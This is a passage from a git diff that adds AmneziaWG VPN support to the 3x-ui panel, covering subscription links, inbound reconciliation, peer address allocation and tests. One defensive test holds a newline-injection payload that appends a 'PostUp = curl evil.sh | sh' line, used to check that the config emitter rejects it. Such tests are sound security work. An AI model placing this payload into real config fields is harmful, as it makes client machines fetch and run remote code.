+ `"h1":"10-2000","h2":"3000-5000","h3":"6000-8000","h4":"9000-11000",` +
+ `"i1":"","i2":"",` +
+ `"headerProtectionKey":"MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",` +
+ `"contentPaddingAddition":"16-48","rekeyAfterTime":"110-140","rekeyTimeout":"4-8",` +
+ `"rejectAfterTime":"190-250","keepaliveTimeout":"9-15","maxHandshakeAttempts":"20-40",` +
+ `"randomTrailers":true,"disableCookies":true},` +
+ `"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"]}]}`,
+ }
+
+ s := &SubService{}
+ link := s.genAmneziaWGLink(inbound, "user")
+ raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
+ if err != nil {
+ t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
+ }
+ text := string(raw)
+
+ want := []string{
+ "Jc = 4",
+ "H4 = 9000-11000",
+ "I1 = ",
+ "I2 = ",
+ "HeaderProtectionKey = MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",
+ "ContentPaddingAddition = 16-48",
+ "RekeyAfterTime = 110-140",
+ "RekeyTimeout = 4-8",
+ "RejectAfterTime = 190-250",
+ "KeepaliveTimeout = 9-15",
+ "MaxHandshakeAttempts = 20-40",
+ "RandomTrailers = on",
+ "DisableCookies = on",
+ "[Peer]",
+ }
+ pos := -1
+ for _, w := range want {
+ i := strings.Index(text, w)
+ if i < 0 {
+ t.Fatalf("decoded config missing %q\n got: %s", w, text)
+ }
+ if i < pos {
+ t.Fatalf("%q out of order in decoded config:\n%s", w, text)
+ }
+ pos = i
+ }
+}
+
+func TestGenAmneziaWGLinkWrongProtocol(t *testing.T) {
+ s := &SubService{}
+ vless := &model.Inbound{Protocol: model.VLESS, Settings: `{"clients":[{"email":"user"}]}`}
+ if got := s.genAmneziaWGLink(vless, "user"); got != "" {
+ t.Fatalf("wrong protocol should yield empty link, got %q", got)
+ }
+}
+
+func TestGenAmneziaWGLinkNoKey(t *testing.T) {
+ s := &SubService{}
+ inbound := &model.Inbound{
+ Protocol: model.AmneziaWG,
+ Port: 51820,
+ Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[{"email":"user"}]}`,
+ }
+ if got := s.genAmneziaWGLink(inbound, "user"); got != "" {
+ t.Fatalf("client without private key should yield empty link, got %q", got)
+ }
+}
+
+// Regression test for the bug where getInboundsBySubId's SQL allowlist was
+// missing 'amneziawg', silently excluding every AmneziaWG client from
+// subscriptions (plain/individual links, JSON, Clash) even though
+// genAmneziaWGLink itself was already fully implemented and wired into
+// GetLink's dispatch switch.
+func TestGetInboundsBySubIdIncludesAmneziaWG(t *testing.T) {
+ initSubDB(t)
+ db := database.GetDB()
+
+ in := &model.Inbound{Port: 51820, Protocol: model.AmneziaWG, Enable: true, Tag: "awg-sub", Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[]}`}
+ if err := db.Create(in).Error; err != nil {
+ t.Fatalf("create inbound: %v", err)
+ }
+ rec := &model.ClientRecord{Email: "u@awg", SubID: "subawg", Enable: true}
+ if err := db.Create(rec).Error; err != nil {
+ t.Fatalf("create client: %v", err)
+ }
+ if err := db.Create(&model.ClientInbound{ClientId: rec.Id, InboundId: in.Id}).Error; err != nil {
+ t.Fatalf("create link: %v", err)
+ }
+
+ s := &SubService{}
+ inbounds, err := s.getInboundsBySubId("subawg")
+ if err != nil {
+ t.Fatalf("getInboundsBySubId: %v", err)
+ }
+ if len(inbounds) != 1 || inbounds[0].Id != in.Id {
+ t.Fatalf("amneziawg inbound not returned for subId: %+v", inbounds)
+ }
+}
+
+// peerFieldOrder is wg-quick(8)'s own [Peer] order. The panel emits an
+// AmneziaWG .conf from three independent places -- this one, and the frontend's
+// genAmneziaWGConfig and buildAmneziaWGClientConfig -- and a user comparing a
+// subscription link against a downloaded .conf sees any drift immediately.
+var peerFieldOrder = []string{"PublicKey", "PresharedKey", "AllowedIPs", "Endpoint", "PersistentKeepalive"}
+
+func peerFields(t *testing.T, conf string) []string {
+ t.Helper()
+ idx := strings.Index(conf, "[Peer]")
+ if idx < 0 {
+ t.Fatalf("config has no [Peer] block:\n%s", conf)
+ }
+ var got []string
+ for _, line := range strings.Split(conf[idx:], "\n") {
+ key := strings.TrimSpace(strings.SplitN(line, "=", 2)[0])
+ if slices.Contains(peerFieldOrder, key) {
+ got = append(got, key)
+ }
+ }
+ return got
+}
+
+func TestAmneziaWGConfigTextPeerFieldOrder(t *testing.T) {
+ server := &amneziawg.ServerSettings{PublicKey: "serverPub", PrimaryDNS: "8.8.8.8", MTU: 1420}
+
+ t.Run("every optional field set", func(t *testing.T) {
+ client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}, PreSharedKey: "psk", KeepAlive: 25}
+ conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
+ if got := peerFields(t, conf); !slices.Equal(got, peerFieldOrder) {
+ t.Fatalf("peer fields = %v, want %v\n%s", got, peerFieldOrder, conf)
+ }
+ // No trailing newline, whichever optional field happens to be last --
+ // the frontend emitters end the same way for the same client.
+ if strings.HasSuffix(conf, "\n") {
+ t.Fatalf("config must not end with a newline:\n%q", conf)
+ }
+ })
+
+ t.Run("no preshared key or keepalive", func(t *testing.T) {
+ client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}}
+ conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
+ want := []string{"PublicKey", "AllowedIPs", "Endpoint"}
+ if got := peerFields(t, conf); !slices.Equal(got, want) {
+ t.Fatalf("peer fields = %v, want %v\n%s", got, want, conf)
+ }
+ if strings.HasSuffix(conf, "\n") {
+ t.Fatalf("config must not end with a newline:\n%q", conf)
+ }
+ })
+}
+
+// A newline in a field that lands unescaped in [Interface] would inject a
+// config line (e.g. a rogue PostUp); the emitter must refuse to render it.
+func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
+ server := &amneziawg.ServerSettings{
+ PublicKey: "serverPub==",
+ PrimaryDNS: "8.8.8.8",
+ Jc: 4, Jmin: 40, Jmax: 100, S1: 30, S2: 90,
+ }
+ client := &model.Client{Email: "peer-1", PrivateKey: "clientPriv==", AllowedIPs: []string{"10.8.1.2/32"}}
+
+ clean := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1")
+ if !strings.Contains(clean, "PrivateKey = clientPriv==") {
+ t.Fatalf("clean input did not render: %q", clean)
+ }
+
+ injected := "x\nPostUp = curl evil.sh | sh"
+ cases := []struct {
+ name string
+ mutate func(s *amneziawg.ServerSettings, c *model.Client) string
+ }{
+ {"privateKey", func(s *amneziawg.ServerSettings, c *model.Client) string { c.PrivateKey = injected; return "peer-1" }},
+ {"primaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.PrimaryDNS = injected; return "peer-1" }},
+ {"secondaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.SecondaryDNS = injected; return "peer-1" }},
+ {"remark", func(s *amneziawg.ServerSettings, c *model.Client) string { return injected }},
+ }
+ for _, tc := range cases {
+ t.Run(tc.name, func(t *testing.T) {
+ s := *server
+ c := *client
+ remark := tc.mutate(&s, &c)
+ if got := amneziaWGConfigText(&s, &c, "203.0.113.7", 51820, remark); got != "" {
+ t.Fatalf("%s with a newline rendered a config:\n%s", tc.name, got)
+ }
+ })
+ }
+}
diff --git a/internal/web/controller/client.go b/internal/web/controller/client.go
index d06c09375..9e9360a0c 100644
--- a/internal/web/controller/client.go
+++ b/internal/web/controller/client.go
@@ -127,11 +127,16 @@ func (a *ClientController) buildClientPayload(rec *model.ClientRecord) (gin.H, e
if t, tErr := a.inboundService.GetClientTrafficByEmail(rec.Email); tErr == nil && t != nil {
usedTraffic = t.Up + t.Down
}
+ tunnelAllowedIPs, err := a.clientService.TunnelAllowedIPsByInbound(&a.inboundService, rec.Email, inboundIds)
+ if err != nil {
+ return nil, err
+ }
return gin.H{
- "client": rec,
- "inboundIds": inboundIds,
- "externalLinks": externalLinks,
- "usedTraffic": usedTraffic,
+ "client": rec,
+ "inboundIds": inboundIds,
+ "externalLinks": externalLinks,
+ "usedTraffic": usedTraffic,
+ "tunnelAllowedIPs": tunnelAllowedIPs,
}, nil
}
diff --git a/internal/web/controller/server.go b/internal/web/controller/server.go
index 17fdfb1e8..5908d74e3 100644
--- a/internal/web/controller/server.go
+++ b/internal/web/controller/server.go
@@ -74,6 +74,7 @@ func (a *ServerController) initRouter(g *gin.RouterGroup) {
g.POST("/updateGeofile/:fileName", a.updateGeofile)
g.POST("/logs/:count", a.getLogs)
g.POST("/xraylogs/:count", a.getXrayLogs)
+ g.POST("/amneziawglogs/:count", a.getAmneziaWGLogs)
g.POST("/importDB", a.importDB)
g.POST("/getNewEchCert", a.getNewEchCert)
g.POST("/getCertHash", a.getCertHash)
@@ -320,6 +321,13 @@ func (a *ServerController) getXrayLogs(c *gin.Context) {
jsonObj(c, logs, nil)
}
+// getAmneziaWGLogs retrieves the live AmneziaWG peer activity and the panel's
+// own AmneziaWG event lines, optionally narrowed by a free-text filter.
+func (a *ServerController) getAmneziaWGLogs(c *gin.Context) {
+ logs := a.serverService.GetAmneziaWGLogs(c.Param("count"), c.PostForm("filter"))
+ jsonObj(c, logs, nil)
+}
+
// getConfigJson retrieves the Xray configuration as JSON.
func (a *ServerController) getConfigJson(c *gin.Context) {
configJson, err := a.serverService.GetConfigJson()
diff --git a/internal/web/dist/.gitkeep b/internal/web/dist/.gitkeep
new file mode 100644
index 000000000..e69de29bb
diff --git a/internal/web/job/amneziawg_job.go b/internal/web/job/amneziawg_job.go
new file mode 100644
index 000000000..93a59ae30
--- /dev/null
+++ b/internal/web/job/amneziawg_job.go
@@ -0,0 +1,55 @@
+package job
+
+import (
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
+ "github.com/mhsanaei/3x-ui/v3/internal/logger"
+ "github.com/mhsanaei/3x-ui/v3/internal/web/service"
+)
+
+// AmneziaWGJob reconciles the running embedded AmneziaWG interfaces
+// (internal/amneziawgnet -- amneziawg-go over a gVisor netstack, no kernel
+// module) against the enabled AmneziaWG inbounds in the database,
+// rebuilding/reconfiguring any that drifted. Unlike the retired
+// kernel-module Manager this job used to drive, there is no traffic/
+// online-status accounting here at all: once a peer's decapsulated traffic
+// is relayed into Xray's own SOCKS5 inbound (see
+// internal/web/service/xray.go's injectAmneziawgnetSocks, and
+// internal/amneziawgnet.Manager's automatic forwarder/relay wiring), it's
+// an ordinary Xray user, and XrayTrafficJob's existing, protocol-blind
+// stats/online-status polling already picks it up for free.
+type AmneziaWGJob struct {
+ inboundService service.InboundService
+}
+
+// NewAmneziaWGJob creates a new AmneziaWG reconcile job instance.
+func NewAmneziaWGJob() *AmneziaWGJob {
+ return new(AmneziaWGJob)
+}
+
+// Run reconciles desired AmneziaWG inbounds with running embedded interfaces.
+func (j *AmneziaWGJob) Run() {
+ desired, err := j.inboundService.DesiredAmneziaWGInstances()
+ if err != nil {
+ logger.Warning("amneziawg job: get desired instances failed:", err)
+ return
+ }
+
+ wanted := make([]amneziawgnet.Desired, 0, len(desired))
+ for _, inst := range desired {
+ wanted = append(wanted, amneziawgnet.Desired{
+ Instance: inst,
+ Options: amneziawgnet.DeviceOptions{
+ HeaderProtectionKey: inst.Obfuscation.HeaderProtectionKey,
+ ContentPaddingAddition: inst.Obfuscation.ContentPaddingAddition,
+ RekeyAfterTime: inst.Obfuscation.RekeyAfterTime,
+ RekeyTimeout: inst.Obfuscation.RekeyTimeout,
+ RejectAfterTime: inst.Obfuscation.RejectAfterTime,
+ KeepaliveTimeout: inst.Obfuscation.KeepaliveTimeout,
+ MaxHandshakeAttempts: inst.Obfuscation.MaxHandshakeAttempts,
+ RandomTrailers: inst.Obfuscation.RandomTrailers,
+ DisableCookies: inst.Obfuscation.DisableCookies,
+ },
+ })
+ }
+ amneziawgnet.GetManager().Reconcile(wanted)
+}
diff --git a/internal/web/runtime/local.go b/internal/web/runtime/local.go
index 814af7aaa..5efd49e66 100644
--- a/internal/web/runtime/local.go
+++ b/internal/web/runtime/local.go
@@ -8,6 +8,8 @@ import (
"strings"
"sync"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/mtproto"
"github.com/mhsanaei/3x-ui/v3/internal/xray"
@@ -53,6 +55,35 @@ func (l *Local) AddInbound(_ context.Context, ib *model.Inbound) error {
}
return mtproto.GetManager().Ensure(inst)
}
+ if ib.Protocol == model.AmneziaWG {
+ inst, ok := amneziawg.InstanceFromInbound(ib)
+ if !ok {
+ return nil
+ }
+ err := amneziawgnet.GetManager().Ensure(amneziawgnet.Desired{
+ Instance: inst,
+ Options: amneziawgnet.DeviceOptions{
+ HeaderProtectionKey: inst.Obfuscation.HeaderProtectionKey,
+ ContentPaddingAddition: inst.Obfuscation.ContentPaddingAddition,
+ RekeyAfterTime: inst.Obfuscation.RekeyAfterTime,
+ RekeyTimeout: inst.Obfuscation.RekeyTimeout,
+ RejectAfterTime: inst.Obfuscation.RejectAfterTime,
+ KeepaliveTimeout: inst.Obfuscation.KeepaliveTimeout,
+ MaxHandshakeAttempts: inst.Obfuscation.MaxHandshakeAttempts,
+ RandomTrailers: inst.Obfuscation.RandomTrailers,
+ DisableCookies: inst.Obfuscation.DisableCookies,
+ },
+ })
+ // A brand new inbound can be the first one to qualify for
+ // injectAmneziawgnetSocks's Xray-side relay inbound (e.g. its first
+ // valid peer). Ensure only updates the embedded Device -- flag Xray
+ // for a resync so the relay actually gets created within the next
+ // ApplyPendingRestart tick instead of only at the next full restart.
+ if l.deps.SetNeedRestart != nil {
+ l.deps.SetNeedRestart()
+ }
+ return err
+ }
body, err := json.MarshalIndent(ib.GenXrayInboundConfig(), "", " ")
if err != nil {
return err
@@ -67,6 +98,16 @@ func (l *Local) DelInbound(_ context.Context, ib *model.Inbound) error {
mtproto.GetManager().Remove(ib.Id)
return nil
}
+ if ib.Protocol == model.AmneziaWG {
+ amneziawgnet.GetManager().Remove(ib.Id)
+ // The removed inbound may have been the only one backing Xray's
+ // injectAmneziawgnetSocks relay inbound for this tag -- flag a
+ // resync so the now-stale relay gets torn down promptly.
+ if l.deps.SetNeedRestart != nil {
+ l.deps.SetNeedRestart()
+ }
+ return nil
+ }
return l.withAPI(func(api *xray.XrayAPI) error {
return api.DelInbound(ib.Tag)
})
@@ -76,6 +117,9 @@ func (l *Local) UpdateInbound(ctx context.Context, oldIb, newIb *model.Inbound)
if oldIb.Protocol == model.MTProto || newIb.Protocol == model.MTProto {
return l.updateMtprotoInbound(ctx, oldIb, newIb)
}
+ if oldIb.Protocol == model.AmneziaWG || newIb.Protocol == model.AmneziaWG {
+ return l.updateAmneziaWGInbound(ctx, oldIb, newIb)
+ }
_ = l.DelInbound(ctx, oldIb)
if !newIb.Enable {
return nil
@@ -112,8 +156,61 @@ func (l *Local) updateMtprotoInbound(ctx context.Context, oldIb, newIb *model.In
return mtproto.GetManager().Ensure(inst)
}
+// updateAmneziaWGInbound mirrors updateMtprotoInbound: it skips the
+// Remove+Ensure sequence a plain Del+Add would force so that, on an
+// AmneziaWG-to-AmneziaWG edit, Manager.Ensure's own fingerprint comparison
+// can reconfigure the running embedded Device in place via IpcSet instead
+// of always rebuilding it (see internal/amneziawgnet.Manager.ensureLocked --
+// only an address/MTU change forces a rebuild there, not a peer edit).
+//
+// Every exit path below only touches the embedded Device via
+// amneziawgnet.GetManager() -- none of it rebuilds Xray's own config, which
+// is what actually creates/removes injectAmneziawgnetSocks's relay inbound.
+// A peer edit that changes whether this inbound has a qualifying peer at
+// all (its first peer added, or its last one removed) must still get that
+// relay created or torn down, so flag Xray for a resync unconditionally
+// here rather than trying to enumerate which of the branches below need it.
+func (l *Local) updateAmneziaWGInbound(ctx context.Context, oldIb, newIb *model.Inbound) error {
+ if l.deps.SetNeedRestart != nil {
+ l.deps.SetNeedRestart()
+ }
+ if oldIb.Protocol == model.AmneziaWG && newIb.Protocol != model.AmneziaWG {
+ amneziawgnet.GetManager().Remove(oldIb.Id)
+ if !newIb.Enable {
+ return nil
+ }
+ return l.AddInbound(ctx, newIb)
+ }
+ if oldIb.Protocol != model.AmneziaWG {
+ _ = l.DelInbound(ctx, oldIb)
+ }
+ if !newIb.Enable {
+ amneziawgnet.GetManager().Remove(newIb.Id)
+ return nil
+ }
+ inst, ok := amneziawg.InstanceFromInbound(newIb)
+ if !ok {
+ amneziawgnet.GetManager().Remove(newIb.Id)
+ return nil
+ }
+ return amneziawgnet.GetManager().Ensure(amneziawgnet.Desired{
+ Instance: inst,
+ Options: amneziawgnet.DeviceOptions{
+ HeaderProtectionKey: inst.Obfuscation.HeaderProtectionKey,
+ ContentPaddingAddition: inst.Obfuscation.ContentPaddingAddition,
+ RekeyAfterTime: inst.Obfuscation.RekeyAfterTime,
+ RekeyTimeout: inst.Obfuscation.RekeyTimeout,
+ RejectAfterTime: inst.Obfuscation.RejectAfterTime,
+ KeepaliveTimeout: inst.Obfuscation.KeepaliveTimeout,
+ MaxHandshakeAttempts: inst.Obfuscation.MaxHandshakeAttempts,
+ RandomTrailers: inst.Obfuscation.RandomTrailers,
+ DisableCookies: inst.Obfuscation.DisableCookies,
+ },
+ })
+}
+
func (l *Local) AddUser(_ context.Context, ib *model.Inbound, userMap map[string]any) error {
- if ib.Protocol == model.MTProto {
+ if ib.Protocol == model.MTProto || ib.Protocol == model.AmneziaWG {
return nil
}
return l.withAPI(func(api *xray.XrayAPI) error {
@@ -122,7 +219,7 @@ func (l *Local) AddUser(_ context.Context, ib *model.Inbound, userMap map[string
}
func (l *Local) RemoveUser(_ context.Context, ib *model.Inbound, email string) error {
- if ib.Protocol == model.MTProto {
+ if ib.Protocol == model.MTProto || ib.Protocol == model.AmneziaWG {
return nil
}
return l.withAPI(func(api *xray.XrayAPI) error {
diff --git a/internal/web/service/client_amneziawg.go b/internal/web/service/client_amneziawg.go
new file mode 100644
index 000000000..cd88151b8
--- /dev/null
+++ b/internal/web/service/client_amneziawg.go
@@ -0,0 +1,119 @@
+package service
+
+import (
+ "encoding/json"
+ "fmt"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+ "github.com/mhsanaei/3x-ui/v3/internal/util/common"
+ wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// defaultAmneziaWGSubnetBases resolves the /CIDR bases new peer addresses are
+// allocated from, out of the inbound's own configured server subnet(s) —
+// unlike WireGuard, which always falls back to a fixed 10.0.0.0/24. v6Base is
+// "" when the server doesn't have IPv6 enabled.
+func defaultAmneziaWGSubnetBases(settingsJSON string) (v4Base, v6Base string, err error) {
+ var parsed amneziawg.InboundSettings
+ if err := json.Unmarshal([]byte(settingsJSON), &parsed); err != nil {
+ return "", "", fmt.Errorf("amneziawg: invalid settings: %w", err)
+ }
+ if parsed.Server == nil {
+ return "", "", fmt.Errorf("amneziawg: settings missing server block")
+ }
+ cidr := parsed.Server.SubnetCIDR
+ if cidr <= 0 {
+ cidr = 24
+ }
+ v4Base = fmt.Sprintf("%s/%d", parsed.Server.SubnetIP, cidr)
+ if parsed.Server.IPv6Enabled && parsed.Server.IPv6Subnet != "" {
+ v6Base = parsed.Server.IPv6Subnet
+ }
+ return v4Base, v6Base, nil
+}
+
+// defaultAmneziaWGClients fills in blank credentials and a free tunnel address
+// for new clients, mutating both the typed clients and the parallel raw maps
+// persisted into the settings. Existing values are never overwritten, so an
+// edit never rotates keys. Mirrors defaultWireguardClients; crossInboundUsed
+// (see otherTunnelAllowedIPs) narrows which addresses are still free.
+func defaultAmneziaWGClients(settingsJSON string, existing, clients []model.Client, interfaceClients []any, crossInboundUsed map[string]string) error {
+ v4Base, v6Base, err := defaultAmneziaWGSubnetBases(settingsJSON)
+ if err != nil {
+ return err
+ }
+
+ used := make([]string, 0)
+ for i := range existing {
+ used = append(used, existing[i].AllowedIPs...)
+ }
+ for addr := range crossInboundUsed {
+ used = append(used, addr)
+ }
+ for i := range clients {
+ c := &clients[i]
+ if c.PrivateKey == "" && c.PublicKey == "" {
+ priv, pub, err := wgutil.GenerateWireguardKeypair()
+ if err != nil {
+ return err
+ }
+ c.PrivateKey = priv
+ c.PublicKey = pub
+ } else if c.PublicKey == "" && c.PrivateKey != "" {
+ pub, err := wgutil.PublicKeyFromPrivate(c.PrivateKey)
+ if err != nil {
+ return err
+ }
+ c.PublicKey = pub
+ }
+ if len(c.AllowedIPs) == 0 {
+ // allowWidening=false: unlike WireGuard's Xray-native inbound,
+ // AmneziaWG's kernel interface Address is exactly the configured
+ // subnet, so an address allocated outside it would be silently
+ // unroutable. Exhaustion here must fail loudly instead.
+ addr, err := allocateWireguardAddress(used, v4Base, false)
+ if err != nil {
+ return err
+ }
+ allowed := []string{addr}
+ if v6Base != "" {
+ addr6, err := allocateWireguardAddress(used, v6Base, false)
+ if err != nil {
+ return err
+ }
+ allowed = append(allowed, addr6)
+ }
+ c.AllowedIPs = allowed
+ } else {
+ normalized, err := normalizeWireguardAllowedIPs(c.AllowedIPs)
+ if err != nil {
+ return err
+ }
+ if len(normalized) == 0 {
+ return common.NewError("amneziawg: allowedIPs has no usable entry")
+ }
+ if hit := wireguardAllowedIPsCollision(normalized, used); hit != "" {
+ if where := crossInboundUsed[hit]; where != "" {
+ return common.NewError("amneziawg: allowedIPs entry", hit, "is already used by a client on", where)
+ }
+ return common.NewError("amneziawg: allowedIPs entry already used by another client:", hit)
+ }
+ c.AllowedIPs = normalized
+ }
+ used = append(used, c.AllowedIPs...)
+
+ if i < len(interfaceClients) {
+ if m, ok := interfaceClients[i].(map[string]any); ok {
+ m["privateKey"] = c.PrivateKey
+ m["publicKey"] = c.PublicKey
+ m["allowedIPs"] = c.AllowedIPs
+ if c.PreSharedKey != "" {
+ m["preSharedKey"] = c.PreSharedKey
+ }
+ interfaceClients[i] = m
+ }
+ }
+ }
+ return nil
+}
diff --git a/internal/web/service/client_amneziawg_test.go b/internal/web/service/client_amneziawg_test.go
new file mode 100644
index 000000000..2e9396400
--- /dev/null
+++ b/internal/web/service/client_amneziawg_test.go
@@ -0,0 +1,153 @@
+package service
+
+import (
+ "fmt"
+ "strings"
+ "testing"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+// AmneziaWG's own kernel interface Address is exactly the configured
+// subnet (unlike WireGuard's Xray-native inbound), so allocation for it must
+// never widen past that subnet -- an address from outside it would be
+// silently unroutable. See PR #6105 Finding 12.
+func TestAllocateWireguardAddress_AmneziaWGNeverWidens(t *testing.T) {
+ used := make([]string, 0, 254)
+ for i := 2; i <= 255; i++ {
+ used = append(used, fmt.Sprintf("10.8.1.%d/32", i))
+ }
+ if _, err := allocateWireguardAddress(used, "10.8.1.0/24", false); err == nil {
+ t.Fatal("a full AmneziaWG /24 must fail loudly instead of allocating an address outside the interface's own subnet")
+ }
+}
+
+func TestAllocateWireguardAddress_AmneziaWGFillsItsOwnSubnetNormally(t *testing.T) {
+ got, err := allocateWireguardAddress([]string{"10.8.1.2/32"}, "10.8.1.0/24", false)
+ if err != nil {
+ t.Fatalf("allocateWireguardAddress: %v", err)
+ }
+ if got != "10.8.1.3/32" {
+ t.Fatalf("address = %q, want 10.8.1.3/32", got)
+ }
+}
+
+const amneziawgClientTestSettings = `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24}}`
+
+func TestDefaultAmneziaWGSubnetBases(t *testing.T) {
+ v4, v6, err := defaultAmneziaWGSubnetBases(amneziawgClientTestSettings)
+ if err != nil {
+ t.Fatalf("defaultAmneziaWGSubnetBases: %v", err)
+ }
+ if v4 != "10.8.1.0/24" {
+ t.Fatalf("v4Base = %q, want 10.8.1.0/24", v4)
+ }
+ if v6 != "" {
+ t.Fatalf("v6Base = %q, want empty when IPv6 is not enabled", v6)
+ }
+}
+
+func TestDefaultAmneziaWGSubnetBasesIncludesIPv6WhenEnabled(t *testing.T) {
+ settings := `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24,"ipv6Enabled":true,"ipv6Subnet":"fd00::/64"}}`
+ v4, v6, err := defaultAmneziaWGSubnetBases(settings)
+ if err != nil {
+ t.Fatalf("defaultAmneziaWGSubnetBases: %v", err)
+ }
+ if v4 != "10.8.1.0/24" || v6 != "fd00::/64" {
+ t.Fatalf("got v4=%q v6=%q", v4, v6)
+ }
+}
+
+func TestDefaultAmneziaWGSubnetBasesRejectsMissingServer(t *testing.T) {
+ if _, _, err := defaultAmneziaWGSubnetBases(`{}`); err == nil {
+ t.Fatal("expected an error when the settings have no server block")
+ }
+}
+
+func TestDefaultAmneziaWGClientsGeneratesKeypairAndAllocatesFromOwnSubnet(t *testing.T) {
+ clients := []model.Client{{Email: "a@awg"}}
+ ifaces := []any{map[string]any{"email": "a@awg"}}
+ if err := defaultAmneziaWGClients(amneziawgClientTestSettings, nil, clients, ifaces, nil); err != nil {
+ t.Fatalf("defaultAmneziaWGClients: %v", err)
+ }
+ c := clients[0]
+ if c.PrivateKey == "" || c.PublicKey == "" {
+ t.Fatalf("keypair not generated: priv=%q pub=%q", c.PrivateKey, c.PublicKey)
+ }
+ if len(c.AllowedIPs) != 1 || c.AllowedIPs[0] != "10.8.1.2/32" {
+ t.Fatalf("allowedIPs not allocated from the inbound's own subnet: %v", c.AllowedIPs)
+ }
+}
+
+func TestDefaultAmneziaWGClientsPreservesProvided(t *testing.T) {
+ clients := []model.Client{{
+ Email: "b@awg",
+ PrivateKey: "keep-priv",
+ PublicKey: "keep-pub",
+ AllowedIPs: []string{"10.8.1.50/32"},
+ }}
+ ifaces := []any{map[string]any{"email": "b@awg"}}
+ if err := defaultAmneziaWGClients(amneziawgClientTestSettings, nil, clients, ifaces, nil); err != nil {
+ t.Fatalf("defaultAmneziaWGClients: %v", err)
+ }
+ if clients[0].PrivateKey != "keep-priv" || clients[0].PublicKey != "keep-pub" {
+ t.Fatalf("provided keys were rotated: %+v", clients[0])
+ }
+ if clients[0].AllowedIPs[0] != "10.8.1.50/32" {
+ t.Fatalf("provided allowedIPs changed: %v", clients[0].AllowedIPs)
+ }
+}
+
+func TestDefaultAmneziaWGClientsRejectsSameInboundDuplicate(t *testing.T) {
+ existing := []model.Client{{Email: "old@awg", AllowedIPs: []string{"10.8.1.9/32"}}}
+ dup := []model.Client{{Email: "new@awg", AllowedIPs: []string{"10.8.1.9/32"}}}
+ err := defaultAmneziaWGClients(amneziawgClientTestSettings, existing, dup, []any{map[string]any{"email": "new@awg"}}, nil)
+ if err == nil {
+ t.Fatal("duplicate allowedIPs on the same inbound must be rejected")
+ }
+}
+
+// The exact real-world scenario that motivated crossInboundUsed: a WireGuard
+// client and an AmneziaWG peer given the same address by habit. The
+// collision must be caught even though the two live on different inbounds
+// and neither appears in the other's own "existing" client list, and the
+// error should name the other inbound so an admin isn't left guessing.
+func TestDefaultAmneziaWGClientsRejectsCrossInboundDuplicate(t *testing.T) {
+ crossUsed := map[string]string{"10.8.1.21/32": "inbound 'wg' (#12)"}
+ dup := []model.Client{{Email: "c@awg", AllowedIPs: []string{"10.8.1.21/32"}}}
+ err := defaultAmneziaWGClients(amneziawgClientTestSettings, nil, dup, []any{map[string]any{"email": "c@awg"}}, crossUsed)
+ if err == nil {
+ t.Fatal("allowedIPs already used on another inbound must be rejected")
+ }
+ if !strings.Contains(err.Error(), "inbound 'wg' (#12)") {
+ t.Fatalf("error should name the other inbound holding the address, got: %v", err)
+ }
+}
+
+func TestDefaultAmneziaWGClientsAutoAllocateSkipsCrossInboundUsed(t *testing.T) {
+ crossUsed := map[string]string{"10.8.1.2/32": "inbound 'other-awg' (#3)"}
+ clients := []model.Client{{Email: "d@awg"}}
+ ifaces := []any{map[string]any{"email": "d@awg"}}
+ if err := defaultAmneziaWGClients(amneziawgClientTestSettings, nil, clients, ifaces, crossUsed); err != nil {
+ t.Fatalf("defaultAmneziaWGClients: %v", err)
+ }
+ if clients[0].AllowedIPs[0] != "10.8.1.3/32" {
+ t.Fatalf("auto-allocation should skip the cross-inbound-used .2 and pick .3, got %v", clients[0].AllowedIPs)
+ }
+}
+
+// Unlike WireGuard's allocation base (inferred from existing peers with a
+// fallback), AmneziaWG's base always comes from the inbound's own configured
+// subnet -- so this is really confirming crossInboundUsed can never change
+// which subnet is used, only which addresses within it are free.
+func TestDefaultAmneziaWGClientsCrossInboundUsedDoesNotChangeBase(t *testing.T) {
+ crossUsed := map[string]string{"192.168.99.5/32": "inbound 'unrelated' (#99)"}
+ clients := []model.Client{{Email: "e@awg"}}
+ ifaces := []any{map[string]any{"email": "e@awg"}}
+ if err := defaultAmneziaWGClients(amneziawgClientTestSettings, nil, clients, ifaces, crossUsed); err != nil {
+ t.Fatalf("defaultAmneziaWGClients: %v", err)
+ }
+ if got := clients[0].AllowedIPs[0]; got != "10.8.1.2/32" {
+ t.Fatalf("base subnet must stay the inbound's own 10.8.1.0/24; got %v", got)
+ }
+}
diff --git a/internal/web/service/client_attach_test.go b/internal/web/service/client_attach_test.go
new file mode 100644
index 000000000..cf53ada50
--- /dev/null
+++ b/internal/web/service/client_attach_test.go
@@ -0,0 +1,97 @@
+package service
+
+import (
+ "testing"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/database"
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+// TestHasTunnelAttachmentDetectsWireguardOrAmneziaWG backs the fix for a
+// real production bug: Attach copies an identity's stored AllowedIPs into
